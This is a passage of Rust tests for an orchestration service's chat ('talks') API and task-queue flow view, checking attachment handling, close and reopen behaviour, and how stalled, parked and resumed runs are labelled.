15016 let id = seed_talk(&f, "20260905-000000-e5f6", "open");
15017
15018 let res = f
15019 .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
15020 .await;
15021 assert_eq!(res.status, 404, "{}", res.body);
15022 }
15023
15024 #[tokio::test]
15025 async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
15026 let f = Fixture::start().await;
15027 let id = seed_talk(&f, "20260905-000000-f6a7", "open");
15028
15029 let uploaded = f
15030 .post_bytes(
15031 &format!("/api/talks/{id}/attachments"),
15032 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
15033 PNG_BYTES,
15034 )
15035 .await;
15036 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
15037 let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
15038
15039 let res = f
15040 .post(
15041 &format!("/api/talks/{id}/say"),
15042 Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
15043 )
15044 .await;
15045 assert_eq!(res.status, 202, "{}", res.body);
15046 let queued = res.json();
15047 let turns = queued["turns"].as_array().expect("turns array");
15048 assert_eq!(
15049 turns.len(),
15050 1,
15051 "an empty body with an attachment is still a turn: {queued}"
15052 );
15053 assert_eq!(turns[0]["who"], "operator");
15054 assert_eq!(turns[0]["body"], "");
15055 let atts = turns[0]["attachments"]
15056 .as_array()
15057 .expect("attachments array");
15058 assert_eq!(atts.len(), 1);
15059 assert_eq!(atts[0]["id"], att_id);
15060 assert_eq!(atts[0]["mime"], "image/png");
15061
15062 let on_disk = f.talks().get(&id).expect("get");
15065 assert_eq!(on_disk.turns[0].attachments.len(), 1);
15066 assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
15067 }
15068
15069 #[tokio::test]
15070 async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
15071 let f = Fixture::start().await;
15072 let id = seed_talk(&f, "20260905-000000-a7b8", "open");
15073
15074 let res = f
15075 .post(
15076 &format!("/api/talks/{id}/say"),
15077 Some(&format!(
15078 r#"{{"text":"hi","attachments":["{}"]}}"#,
15079 "a".repeat(32)
15080 )),
15081 )
15082 .await;
15083 assert!((400..500).contains(&res.status), "{}", res.body);
15084 assert!(res.body.contains("unknown attachment"), "{}", res.body);
15085
15086 let on_disk = f.talks().get(&id).expect("get");
15087 assert!(
15088 on_disk.turns.is_empty(),
15089 "a rejected attachment id must not partially record the turn: {:?}",
15090 on_disk.turns
15091 );
15092 }
15093
15094 #[tokio::test]
15095 async fn talk_close_makes_the_talk_refuse_further_turns() {
15096 let f = Fixture::start().await;
15097 let id = seed_talk(&f, "20260904-014455-cd34", "open");
15098
15099 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
15100 assert_eq!(closed.status, 200, "{}", closed.body);
15101 assert_eq!(closed.json()["status"], "closed");
15102
15103 let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
15105 assert_eq!(closed_again.status, 200);
15106 assert_eq!(closed_again.json()["status"], "closed");
15107
15108 let said = f
15109 .post(
15110 &format!("/api/talks/{id}/say"),
15111 Some(r#"{"text":"too late"}"#),
15112 )
15113 .await;
15114 assert_eq!(said.status, 409, "{}", said.body);
15115 }
15116
15117 #[tokio::test]
15118 async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
15119 let (_tmp, _repo, f) = talk_fixture().await;
15120 let id = f.post("/api/talks", None).await.json()["id"]
15121 .as_str()
15122 .expect("id")
15123 .to_owned();
15124 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
15125 assert_eq!(closed.status, 200, "{}", closed.body);
15126
15127 let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
15128 assert_eq!(reopened.status, 200, "{}", reopened.body);
15129 assert_eq!(reopened.json()["status"], "open");
15130
15131 let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
15133 assert_eq!(reopened_again.status, 200);
15134 assert_eq!(reopened_again.json()["status"], "open");
15135
15136 let said = f
15137 .post(
15138 &format!("/api/talks/{id}/say"),
15139 Some(r#"{"text":"still there?"}"#),
15140 )
15141 .await;
15142 assert_eq!(
15143 said.status, 202,
15144 "a reopened talk accepts turns again: {}",
15145 said.body
15146 );
15147 }
15148
15149 #[tokio::test]
15150 async fn talk_reopen_on_an_unknown_id_is_404() {
15151 let f = Fixture::start().await;
15152 let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
15153 assert_eq!(res.status, 404, "{}", res.body);
15154 }
15155
15156 #[tokio::test]
15157 async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
15158 let f = Fixture::start().await;
15159 let id = seed_talk(&f, "20260904-014455-ef56", "closed");
15160
15161 let deleted = f.delete(&format!("/api/talks/{id}")).await;
15162 assert_eq!(deleted.status, 204, "{}", deleted.body);
15163
15164 let after = f.get(&format!("/api/talks/{id}")).await;
15165 assert_eq!(after.status, 404, "{}", after.body);
15166
15167 let listed = f.get("/api/talks").await.json();
15168 assert!(
15169 listed.as_array().unwrap().iter().all(|t| t["id"] != id),
15170 "a deleted talk must not linger in the list: {listed}"
15171 );
15172 }
15173
15174 #[tokio::test]
15175 async fn talk_delete_on_an_unknown_id_is_404() {
15176 let f = Fixture::start().await;
15177 let res = f.delete("/api/talks/nonexistent-id").await;
15178 assert_eq!(res.status, 404, "{}", res.body);
15179 }
15180
15181 #[tokio::test]
15185 async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
15186 let f = Fixture::start().await;
15187 let (a, b, gone) = (
15188 "20260902-140501-aaaa",
15189 "20260902-140502-bbbb",
15190 "20260902-140503-cccc",
15191 );
15192 write_run(&f.runs(), a, RunStatus::Stalled);
15193 let mut review = RunState::new(
15194 PathBuf::from("/repo/magi"),
15195 "main".to_owned(),
15196 "0123456789abcdef".to_owned(),
15197 "Review the work already on branch `magi/aaaa/A`. There is no task statement."
15198 .to_owned(),
15199 Config::default(),
15200 );
15201 review.id = b.to_owned();
15202 review.status = RunStatus::Merged;
15203 write_state(&f.runs(), &review);
15204
15205 let mut task = Task::new(
15206 "retry".to_owned(),
15207 "Do the thing".to_owned(),
15208 PathBuf::from("/repo/magi"),
15209 Source::Human,
15210 );
15211 task.start(a.to_owned());
15212 task.stall("quota");
15213 task.start(a.to_owned());
15214 task.start(b.to_owned());
15215 task.start(gone.to_owned());
15216 task.runs = [a, a, b, gone].map(str::to_owned).to_vec();
15218 f.queue().put(&mut task).expect("file the task");
15219
15220 let res = f.get(&format!("/api/queue/{}", task.id)).await;
15221 assert_eq!(res.status, 200, "{}", res.body);
15222 let v = res.json();
15223 let h = v["history"].as_array().expect("history");
15224 assert_eq!(h.len(), 4, "{v}");
15225 assert_eq!(h[0]["kind"], "competition");
15226 assert_eq!(h[0]["status"], "stalled");
15227 assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
15228 assert_eq!(h[1]["kind"], "resume", "{v}");
15229 assert!(
15230 h[0]["outcome"]
15231 .as_str()
15232 .unwrap()
15233 .contains("unknown. Pass #2"),
15234 "an earlier pass of a resumed run must not claim the final outcome: {v}"
15235 );
15236 assert!(
15237 !h[1]["outcome"].as_str().unwrap().contains("unknown."),
15238 "{v}"
15239 );
15240 assert!(
15241 !h[0]["outcome"].as_str().unwrap().contains("parked it"),
15242 "an unrecorded cause must not be narrated as an operator park: {v}"
15243 );
15244 assert_eq!(h[2]["kind"], "review");
15245 assert!(
15246 h[2]["description"]
15247 .as_str()
15248 .unwrap()
15249 .contains("magi/aaaa/A")
15250 );
15251 assert_eq!(h[2]["status"], "merged");
15252 assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
15253 assert_eq!(v["runs_unreadable"], 1);
15254 let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
15255 assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
15256 assert_eq!(nodes[4]["note"], "unreadable");
15257 assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
15258 assert_eq!(v["instruction"], "Do the thing");
15259 assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
15260
15261 let run = f.get(&format!("/api/runs/{a}")).await.json();
15263 assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
15264
15265 assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
15266 }
15267
15268 fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
15269 let mut s = RunState::new(
15270 PathBuf::from("/repo/magi"),
15271 "main".to_owned(),
15272 "0123456789abcdef".to_owned(),
15273 "Do it".to_owned(),
15274 Config::default(),
15275 );
15276 s.status = status;
15277 edit(&mut s);
15278 s
15279 }
15280
15281 fn flow_task(runs: &[&str]) -> Task {
15282 let mut t = Task::new(
15283 "t".to_owned(),
15284 "Do it".to_owned(),
15285 PathBuf::from("/repo/magi"),
15286 Source::Human,
15287 );
15288 for r in runs {
15289 t.start((*r).to_owned());
15290 }
15291 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
15293 t
15294 }
15295
15296 fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
15297 let h = task_history(task, |id| {
15298 states
15299 .iter()
15300 .find(|(i, _)| *i == id)
15301 .and_then(|(_, s)| s.clone())
15302 });
15303 task_flow(task, &h, 5, None)
15304 }
15305
15306 #[test]
15307 fn flow_start_times_use_each_pass_not_run_updates_or_settlements() {
15308 let queued = "2026-10-10T00:00:00Z".parse().unwrap();
15309 let created = "2026-10-10T01:00:00Z".parse().unwrap();
15310 let first = "2026-10-10T02:00:00Z".parse().unwrap();
15311 let resumed = "2026-10-10T03:00:00Z".parse().unwrap();
15312 let held = "2026-10-10T04:00:00Z".parse().unwrap();
15313 let run = flow_run(RunStatus::Implementing, |s| {
15314 s.created_at = created;
15315 s.passes = vec![recorded_pass(0, None), recorded_pass(1, None)];
15316 s.passes[0].started_at = first;
15317 s.passes[1].started_at = resumed;
15318 });
15319 let mut task = flow_task(&[RUN_X, RUN_X]);
15320 task.created_at = queued;
15321 task.passes = vec![settled_pass(RUN_X, 0, crate::queue::PassCost::Refunded)];
15322 task.status = TaskStatus::Held;
15323 task.held_at = Some(held);
15324 let flow = flow_for(&task, &[(RUN_X, Some(run))]);
15325 assert_eq!(
15326 flow.nodes.iter().map(|n| n.started_at).collect::<Vec<_>>(),
15327 vec![Some(queued), Some(first), Some(resumed), Some(held)]
15328 );
15329 assert!(flow.nodes.iter().all(|n| n.time_expected));
15330 let json = serde_json::to_value(&flow).unwrap();
15331 assert_eq!(json["nodes"][2]["started_at"], resumed.to_string());
15332 assert_eq!(json["nodes"][2]["time_expected"], true);
15333 }
15334
15335 #[test]
15336 fn flow_start_times_leave_legacy_resumes_unreadable_and_status_starts_unknown() {
15337 let created = "2026-10-10T01:00:00Z".parse().unwrap();
15338 let run = flow_run(RunStatus::Implementing, |s| s.created_at = created);
15339 let mut task = flow_task(&[RUN_X, RUN_X, "missing"]);
15340 task.held_at = Some(created);
15342 task.blocked_at = Some(created);
15343 for status in [
15344 TaskStatus::Queued,
15345 TaskStatus::Running,
15346 TaskStatus::Blocked,
15347 TaskStatus::Done,
15348 TaskStatus::Failed,
15349 TaskStatus::Parked,
15350 TaskStatus::Held,
15351 ] {
15352 task.status = status;
15353 if status == TaskStatus::Held {
15354 task.held_at = None;
15355 }
15356 let flow = flow_for(&task, &[(RUN_X, Some(run.clone()))]);
15357 assert_eq!(flow.nodes[1].started_at, Some(created));
15358 assert_eq!(flow.nodes[2].started_at, None, "legacy resume");
15359 assert_eq!(flow.nodes[3].started_at, None, "unreadable run");
15360 assert_eq!(flow.nodes[4].started_at, None, "{status:?}");
15361 let json = serde_json::to_value(&flow).unwrap();
15362 assert!(json["nodes"][3]["started_at"].is_null());
15363 assert_eq!(json["nodes"][3]["time_expected"], true);
15364 }
15365 }
15366
15367 #[test]
15368 fn flow_context_links_do_not_expect_start_times() {
15369 let mut task = flow_task(&[]);
15370 task.source = Source::Agent {
15371 run: "chat-id".to_owned(),
15372 node: "chat".to_owned(),
15373 };
15374 let origin = followup_origin(&fu(None), |_| None, |_| None);
15375 let flow = task_flow(&task, &[], 5, Some(&origin));
15376 for node in &flow.nodes[..2] {
15377 assert!(!node.time_expected);
15378 assert_eq!(node.started_at, None);
15379 }
15380 assert!(flow.nodes[2].time_expected);
15381 }
15382
15383 fn fu(origin_task: Option<&str>) -> crate::queue::FollowUp {
15384 crate::queue::FollowUp {
15385 run: "20260901-000000-aaaa".to_owned(),
15386 origin_task: origin_task.map(str::to_owned),
15387 pr: "https://example.com/o/r/pull/1".to_owned(),
15388 findings: ["R3-1-1", "R3-1-2", "R3-1-3", "R3-1-4"]
15389 .map(str::to_owned)
15390 .to_vec(),
15391 generation: 1,
15392 }
15393 }
15394
15395 fn parent_task() -> Task {
15396 let mut p = flow_task(&[]);
15397 p.title = "Parent title".to_owned();
15398 p.status = TaskStatus::Done;
15399 p
15400 }
15401
15402 #[test]
15403 fn flow_opens_with_the_parent_task_of_a_followup() {
15404 let p = parent_task();
15405 let pid = p.id.clone();
15406 let o = followup_origin(&fu(Some(&pid)), |i| (i == pid).then(|| p.clone()), |_| None);
15407 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
15408 let n = &f.nodes[0];
15409 assert_eq!((n.kind, n.key.as_str()), ("followup", "origin"));
15410 assert_eq!(
15411 n.label,
15412 format!("Follow-up of {}", crate::queue::short(&pid))
15413 );
15414 assert_eq!(n.detail.as_deref(), Some("Parent title"));
15415 assert_eq!(n.status, Some("done"));
15416 assert_eq!(n.status_of, "task");
15417 assert_eq!(n.href.as_deref(), Some(format!("#/tasks/{pid}").as_str()));
15418 assert_eq!(f.nodes[1].key, "start");
15419 assert_eq!(f.edges[0].from, "origin");
15420 assert_eq!(
15421 f.edges[0].label,
15422 "open findings R3-1-1, R3-1-2, R3-1-3 +1 more"
15423 );
15424 }
15425
15426 #[test]
15427 fn flow_falls_back_to_the_merged_run_when_the_parent_is_gone() {
15428 let o = followup_origin(
15429 &fu(Some("gone")),
15430 |_| None,
15431 |_| {
15432 Some(RunState::new(
15433 std::path::PathBuf::from("."),
15434 "main".to_owned(),
15435 "0".to_owned(),
15436 "t".to_owned(),
15437 crate::config::Config::default(),
15438 ))
15439 },
15440 );
15441 assert!(o.parent.is_none());
15442 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
15443 let n = &f.nodes[0];
15444 assert_eq!(n.status_of, "run");
15445 assert_eq!(n.href.as_deref(), Some("#/runs/20260901-000000-aaaa"));
15446 assert!(n.label.starts_with("Follow-up of run "), "{}", n.label);
15447 }
15448
15449 #[test]
15450 fn flow_followup_with_nothing_readable_has_no_link() {
15451 let o = followup_origin(&fu(None), |_| panic!("no parent id to look up"), |_| None);
15452 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
15453 let n = &f.nodes[0];
15454 assert_eq!(n.href, None);
15455 assert_eq!(n.note, Some("unreadable"));
15456 assert!(!n.readable);
15457 }
15458
15459 #[test]
15460 fn flow_keeps_the_chat_first_only_when_the_source_is_a_chat() {
15461 let o = followup_origin(&fu(None), |_| None, |_| None);
15462 let mut t = flow_task(&[]);
15463 t.origin_chat = Some("c1".to_owned());
15464 let f = task_flow(&t, &[], 5, Some(&o));
15465 assert_eq!(f.nodes[0].kind, "followup", "inherited chat adds no node");
15466 t.source = Source::Agent {
15467 run: "c1".to_owned(),
15468 node: crate::queue::CHAT_NODE.to_owned(),
15469 };
15470 let f = task_flow(&t, &[], 5, Some(&o));
15471 assert_eq!((f.nodes[0].kind, f.nodes[1].kind), ("chat", "followup"));
15472 assert_eq!(
15473 (f.edges[0].from.as_str(), f.edges[0].to.as_str()),
15474 ("chat", "origin")
15475 );
15476 }
15477
15478 #[test]
15479 fn followup_origin_encodes_ids_and_survives_a_self_reference() {
15480 let mut p = parent_task();
15481 p.id = "a b/c".to_owned();
15482 let o = followup_origin(&fu(Some("a b/c")), |_| Some(p.clone()), |_| None);
15483 assert_eq!(o.parent.expect("parent").href, "#/tasks/a%20b%2Fc");
15484 }
15485
15486 #[test]
15487 fn flow_opens_with_the_chat_that_queued_the_task() {
15488 let mut t = flow_task(&[]);
15489 t.source = Source::Agent {
15490 run: "a b/c".to_owned(),
15491 node: crate::queue::CHAT_NODE.to_owned(),
15492 };
15493 let f = flow_for(&t, &[]);
15494 assert_eq!(f.nodes[0].key, "chat");
15495 assert_eq!(f.nodes[0].kind, "chat");
15496 assert_eq!(
15497 f.nodes[0].label,
15498 format!("Chat {}", crate::queue::short("a b/c"))
15499 );
15500 assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
15501 assert_eq!(f.nodes[1].key, "start");
15502 assert_eq!(
15503 f.edges[0],
15504 FlowEdge {
15505 from: "chat".to_owned(),
15506 to: "start".to_owned(),
15507 label: "queued from chat".to_owned(),
15508 attempt: AttemptCost::None,
15509 }
15510 );
15511 }
15512
15513 #[test]
15514 fn flow_has_no_chat_box_for_other_sources() {
15515 for source in [
15516 Source::Human,
15517 Source::Issue {
15518 number: 3,
15519 repo: "o/r".to_owned(),
15520 },
15521 Source::Agent {
15522 run: "20260904-014455-ab12".to_owned(),
15523 node: "implement".to_owned(),
15524 },
15525 ] {
15526 let mut t = flow_task(&[]);
15527 t.source = source;
15528 let f = flow_for(&t, &[]);
15529 assert_eq!(f.nodes[0].key, "start");
15530 assert!(f.nodes.iter().all(|n| n.kind != "chat"));
15531 assert!(f.edges.iter().all(|e| e.from != "chat"));
15532 }
15533 }
15534
15535 const FA: &str = "20260902-140501-aaaa";
15536 const FB: &str = "20260902-140502-bbbb";
15537
15538 #[test]
15539 fn flow_follows_blocked_retry_merged_to_done() {
15540 let mut t = flow_task(&[FA, FB]);
15541 t.status = TaskStatus::Done;
15542 let f = flow_for(
15543 &t,
15544 &[
15545 (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
15546 (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
15547 ],
15548 );
15549 let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
15550 assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
15551 assert_eq!(f.edges.len(), 3);
15552 assert_eq!(f.edges[0].label, "claimed");
15553 assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
15554 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
15555 assert_eq!(f.edges[2].label, "merged \u{2192} done");
15556 assert_eq!(
15557 f.nodes[2].href.as_deref(),
15558 Some("#/runs/20260902-140502-bbbb")
15559 );
15560 assert!(f.nodes[2].decided);
15561 }
15562
15563 #[test]
15564 fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
15565 let quota = || {
15566 flow_run(RunStatus::Stalled, |s| {
15567 s.quota.push(crate::run::QuotaLoss {
15568 seat: "judge-1".to_owned(),
15569 node: "judge".to_owned(),
15570 at: Timestamp::now(),
15571 reset: None,
15572 })
15573 })
15574 };
15575 let mut t = flow_task(&[FA, FA]);
15576 t.status = TaskStatus::Queued;
15577 let f = flow_for(&t, &[(FA, Some(quota()))]);
15578 assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
15579 assert_eq!(f.nodes[1].note, Some("interrupted"));
15580 assert_eq!(
15581 f.nodes[1].status, None,
15582 "no outcome copied onto an earlier pass"
15583 );
15584 assert_eq!(
15585 f.edges[1].attempt,
15586 AttemptCost::Unknown,
15587 "a resume does not prove the earlier pass was refunded"
15588 );
15589 assert!(f.edges[1].label.contains("resume the same run"));
15590 assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
15591 assert_eq!(
15592 f.edges[2].label,
15593 "stalled after a resume, refund unknown \u{2192} queued"
15594 );
15595 assert!(!f.nodes[2].decided, "a stall is not a decision");
15596 assert_eq!(f.nodes[2].note, Some("no verdict"));
15597 }
15598
15599 #[test]
15600 fn flow_single_pass_quota_stall_is_refunded() {
15601 let t = flow_task(&[FA]);
15602 let f = flow_for(
15603 &t,
15604 &[(
15605 FA,
15606 Some(flow_run(RunStatus::Stalled, |s| {
15607 s.quota.push(crate::run::QuotaLoss {
15608 seat: "judge-1".to_owned(),
15609 node: "judge".to_owned(),
15610 at: Timestamp::now(),
15611 reset: None,
15612 })
15613 })),
15614 )],
15615 );
15616 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
15617 }
15618
15619 #[test]
15620 fn flow_parked_refunds_and_stall_without_quota_spends() {
15621 let mut t = flow_task(&[FA]);
15622 t.status = TaskStatus::Queued;
15623 let f = flow_for(
15624 &t,
15625 &[(
15626 FA,
15627 Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
15628 )],
15629 );
15630 assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
15631 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
15632 let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
15633 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
15634 assert!(!f.nodes[1].decided);
15635 }
15636
15637 #[test]
15638 fn flow_keeps_an_unreadable_run_as_its_own_node() {
15639 let t = flow_task(&[FA, FB]);
15640 let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
15641 assert_eq!(f.nodes[1].note, Some("unreadable"));
15642 assert!(!f.nodes[1].readable);
15643 assert_eq!(f.nodes[1].run_kind, Some("unknown"));
15644 assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
15645 }
15646
15647 #[test]
15648 fn flow_names_the_branch_of_a_review_only_run() {
15649 let t = flow_task(&[FA]);
15650 let f = flow_for(
15651 &t,
15652 &[(
15653 FA,
15654 Some(flow_run(RunStatus::Merged, |s| {
15655 s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
15656 })),
15657 )],
15658 );
15659 assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
15660 assert_eq!(
15661 f.nodes[1].detail.as_deref(),
15662 Some("review-only run of branch magi/x/A")
15663 );
15664 }
15665
15666 #[test]
15667 fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
15668 let mut t = flow_task(&[FA]);
15669 t.status = TaskStatus::Held;
15670 let pr = crate::run::PrRecord {
15671 url: "https://example.test/pr/1".to_owned(),
15672 number: 1,
15673 state: "open".to_owned(),
15674 checks: "green".to_owned(),
15675 round: 0,
15676 rounds: 3,
15677 red_at_merge: Vec::new(),
15678 };
15679 let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
15680 let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
15681 assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
15682 t.status = TaskStatus::Done;
15683 let f = flow_for(&t, &[(FA, Some(blocked))]);
15684 assert_eq!(f.edges[1].label, "closed by hand: task is done");
15685 }
15686
15687 #[test]
15688 fn flow_with_no_runs_goes_from_queued_to_queued() {
15689 let t = flow_task(&[]);
15690 let f = flow_for(&t, &[]);
15691 assert_eq!(f.nodes.len(), 2);
15692 assert_eq!(f.edges.len(), 1);
15693 assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
15694 assert_eq!(f.edges[0].attempt, AttemptCost::None);
15695 }
15696
15697 #[test]
15700 fn a_parked_non_terminal_run_is_explained_as_parked() {
15701 let mut s = RunState::new(
15702 PathBuf::from("/repo/magi"),
15703 "main".to_owned(),
15704 "0123456789abcdef".to_owned(),
15705 "Do it".to_owned(),
15706 Config::default(),
15707 );
15708 s.status = RunStatus::Implementing;
15709 s.parked = true;
15710 let task = Task::new(
15711 "t".to_owned(),
15712 "Do it".to_owned(),
15713 PathBuf::from("/repo/magi"),
15714 Source::Human,
15715 );
15716 let v = task_run_view(
15717 "20260902-140501-aaaa",
15718 Some(&s),
15719 RunSlot {
15720 n: 1,
15721 resumed: false,
15722 resumed_later: None,
15723 prior: None,
15724 last: true,
15725 ..RunSlot::default()
15726 },
15727 &task,
15728 );
15729 assert!(v.outcome.contains("Parked"), "{}", v.outcome);
15730 }
15731
15732 fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
15733 let mut s = flow_run(RunStatus::Implementing, edit);
15734 s.parked = false;
15735 let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
15736 task_run_view(
15737 "20260902-140501-aaaa",
15738 Some(&s),
15739 RunSlot {
15740 n: 1,
15741 resumed: false,
15742 resumed_later: Some(2),
15743 prior: None,
15744 last: false,
15745 ..RunSlot::default()
15746 },
15747 &task,
15748 )
15749 }
15750
15751 #[test]
15752 fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
15753 let v = earlier_pass_view(|_| {});
15754 assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
15755 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
15756 assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
15757 assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
15758 assert_eq!(v.exit, RunExit::Interrupted);
15759 assert_eq!(v.attempt, AttemptCost::Unknown);
15760 }
15761
15762 #[test]
15763 fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
15764 let v = earlier_pass_view(|s| {
15765 s.quota.push(crate::run::QuotaLoss {
15766 seat: "judge-1".to_owned(),
15767 node: "judge".to_owned(),
15768 at: Timestamp::now(),
15769 reset: None,
15770 });
15771 });
15772 assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
15773 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
15774 assert_eq!(v.attempt, AttemptCost::Unknown);
15775 }
15776
15777 #[test]
15778 fn the_current_pass_states_its_recorded_cause_and_cost() {
15779 let slot = || RunSlot {
15780 n: 1,
15781 resumed: false,
15782 resumed_later: None,
15783 prior: None,
15784 last: true,
15785 ..RunSlot::default()
15786 };
15787 let task = flow_task(&["20260902-140501-aaaa"]);
15788 let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
15789 let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
15790 assert_eq!(
15791 (v.exit, v.attempt),
15792 (RunExit::Parked, AttemptCost::Refunded)
15793 );
15794 let spent = flow_run(RunStatus::Blocked, |_| {});
15795 let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
15796 assert_eq!(v.attempt, AttemptCost::Spent);
15797 assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
15798 }
15799
15800 fn recorded_pass(index: usize, end: Option<crate::run::PassEnd>) -> crate::run::RunPass {
15801 crate::run::RunPass {
15802 index,
15803 started_at: Timestamp::now(),
15804 resumed: index > 0,
15805 ended_at: end.as_ref().map(|_| Timestamp::now()),
15806 end,
15807 task_entry: true,
15808 }
15809 }
15810
15811 fn parked(cause: crate::run::ParkCause) -> Option<crate::run::PassEnd> {
15812 Some(crate::run::PassEnd::Parked { cause })
15813 }
15814
15815 fn upgrade_cause() -> crate::run::ParkCause {
15816 crate::run::ParkCause::Upgrade {
15817 from: "0.121.0".to_owned(),
15818 to: Some("0.121.1".to_owned()),
15819 }
15820 }
15821
15822 fn settled_pass(
15823 run: &str,
15824 index: usize,
15825 cost: crate::queue::PassCost,
15826 ) -> crate::queue::TaskPass {
15827 crate::queue::TaskPass {
15828 run: run.to_owned(),
15829 pass_index: index,
15830 cost,
15831 attempts_after: 1,
15832 settled_at: Timestamp::now(),
15833 parked: None,
15834 }
15835 }
15836
15837 const RUN_X: &str = "20261011-223708-4334";
15838
15839 #[test]
15840 fn an_upgrade_pause_and_its_resume_are_two_passes_of_one_run_and_one_attempt() {
15841 use crate::queue::PassCost;
15842 let run = flow_run(RunStatus::Implementing, |s| {
15843 s.passes = vec![
15844 recorded_pass(0, parked(upgrade_cause())),
15845 recorded_pass(1, None),
15846 ];
15847 });
15848 let mut task = flow_task(&[RUN_X, RUN_X]);
15849 task.attempts = 1;
15850 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
15851 let h = task_history(&task, |_| Some(run.clone()));
15852 assert_eq!(h.len(), 2);
15853 assert_eq!(h[0].kind, "competition");
15854 assert_eq!(h[1].kind, "resume");
15855 assert_eq!(
15856 (h[0].exit, h[0].attempt),
15857 (RunExit::Parked, AttemptCost::Refunded)
15858 );
15859 assert!(
15860 h[0].outcome.contains("upgrade 0.121.0 \u{2192} 0.121.1"),
15861 "{}",
15862 h[0].outcome
15863 );
15864 assert!(h[0].outcome.contains("handed back"), "{}", h[0].outcome);
15865 assert!(
15866 h[0].outcome.contains("pass #2 resumed the same run"),
15867 "{}",
15868 h[0].outcome
15869 );
15870 assert!(
15871 h[0].outcome.contains("pass 1 of 2 over run"),
15872 "{}",
15873 h[0].outcome
15874 );
15875 assert!(!h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
15876 assert_eq!(
15877 h[0].exit_label,
15878 "parked for upgrade 0.121.0 \u{2192} 0.121.1, attempt refunded"
15879 );
15880 let f = task_flow(&task, &h, 2, None);
15881 assert_eq!((f.passes, f.runs, f.attempts, f.max_attempts), (2, 1, 1, 2));
15883 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
15884 assert!(
15885 f.edges[1].label.contains("upgrade 0.121.0"),
15886 "{}",
15887 f.edges[1].label
15888 );
15889 assert!(
15890 f.edges[1].label.contains("resume the same run"),
15891 "{}",
15892 f.edges[1].label
15893 );
15894 assert_eq!(f.nodes[1].note, Some("parked"));
15895 }
15896
15897 #[test]
15898 fn distinct_run_ids_render_all_recorded_passes_in_time_order() {
15899 let mut a = flow_run(RunStatus::Implementing, |s| {
15900 s.passes = vec![
15901 recorded_pass(0, parked(upgrade_cause())),
15902 recorded_pass(1, None),
15903 ];
15904 });
15905 let mut b = flow_run(RunStatus::Failed, |s| {
15906 s.passes = vec![recorded_pass(0, None)];
15907 });
